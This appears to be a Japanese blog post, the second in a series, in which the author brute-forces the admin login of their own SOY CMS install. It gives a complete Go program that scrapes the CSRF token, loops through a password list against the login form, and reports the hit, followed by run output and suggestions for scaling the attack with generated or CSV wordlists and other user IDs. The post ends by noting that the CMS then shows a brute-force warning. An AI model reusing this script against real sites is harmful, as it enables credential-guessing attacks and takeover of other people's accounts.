SOY CMSに総当り攻撃を仕掛けてみる。その2

前回、トークンがあろうが、シェルからSOY CMSのログインを試みる様にコードを改変した。


今回は、簡単な辞書を用意して繰り返し実行してみる。

※試すアカウントのIDはadminで固定で話を進める。


まずはパスワードの配列を用意する。


pws := []string{
"password",
"aaaaaaaa",
"bbbbbbbb",
"cccccccc",
"hogehuga",
"********",
"nekoneko",
}

こんな感じかな。

ちなみに********が正解


このパスワードの配列と正解した時の処理を合わせて、

下記の様なコードを書いてみた。


package main

import (
"bufio"
"fmt"
"net/http"
"net/url"
"regexp"
"strings"
"sync"
)

type Jar struct {
lk      sync.Mutex
cookies map[string][]*http.Cookie
}

func NewJar() *Jar {
jar := new(Jar)
jar.cookies = make(map[string][]*http.Cookie)
return jar
}

func (jar *Jar) SetCookies(u *url.URL, cookies []*http.Cookie) {
jar.lk.Lock()
jar.cookies[u.Host] = cookies
jar.lk.Unlock()
}

func (jar *Jar) Cookies(u *url.URL) []*http.Cookie {
return jar.cookies[u.Host]
}

func main() {
var token string
pws := []string{
"password",
"aaaaaaaa",
"bbbbbbbb",
"cccccccc",
"hogehuga",
"********",
"nekoneko",
}

jar := NewJar()

u := "http://example.com/cms/admin/"
user := "admin"

client := http.Client{
Jar: jar,
}

for i := 0; i < len(pws); i++ {
pw := pws[i]

//ログインに成功したか?
success := true

resp, _ := client.Get(u)
s := bufio.NewScanner(resp.Body)
for s.Scan() {
if hit := strings.Index(s.Text(), "soy2_token"); hit > 0 {
re := regexp.MustCompile("value=\"(.*)\"")
res := re.FindString(s.Text())
res = strings.Replace(res, "value=", "", 1)
token = strings.Trim(res, "\"")
}
}

resp.Body.Close()
params := url.Values{}
params.Add("soy2_token", token)
params.Add("Auth[name]", user)
params.Add("Auth[password]", pw)

resp, _ = client.PostForm(u, params)
defer resp.Body.Close()
s = bufio.NewScanner(resp.Body)
for s.Scan() {

if hit := strings.Index(s.Text(), "failed_message"); hit > 0 {
fmt.Println("ログイン失敗")
success = false
}
}

//ログインが確認できたら、処理を終えて良い
if success == true {
fmt.Println("ログイン成功")
fmt.Println("ヒットしたID:", user, "Pw:", pw)
break
}
}
}

このコードを実行してみると、


$:~/ go run test.go
ログイン失敗
ログイン失敗
ログイン失敗
ログイン失敗
ログイン失敗
ログイン成功
ヒットしたID: admin Pw: ********

これで、ログインに成功したものだけ取得することが出来た。

パスワード候補を自動生成して増やしたり、

ID:をadmin以外のものでも試すというコードを追加すれば、

どんなに複雑なパスワードでもいつかはログイン出来そうだ。


パスワード候補は配列で書くのではなくて、

CSVからインポートして対応とかだと簡単にたくさん試せそう。


最後にブラウザを開いて、

SOY CMSのブラウザからログインしてみたら、



こんなエラーが表示された。

SOY CMSで総当たり攻撃に対応してみた


そうだよ!

今まさにログインを試しまくったよ。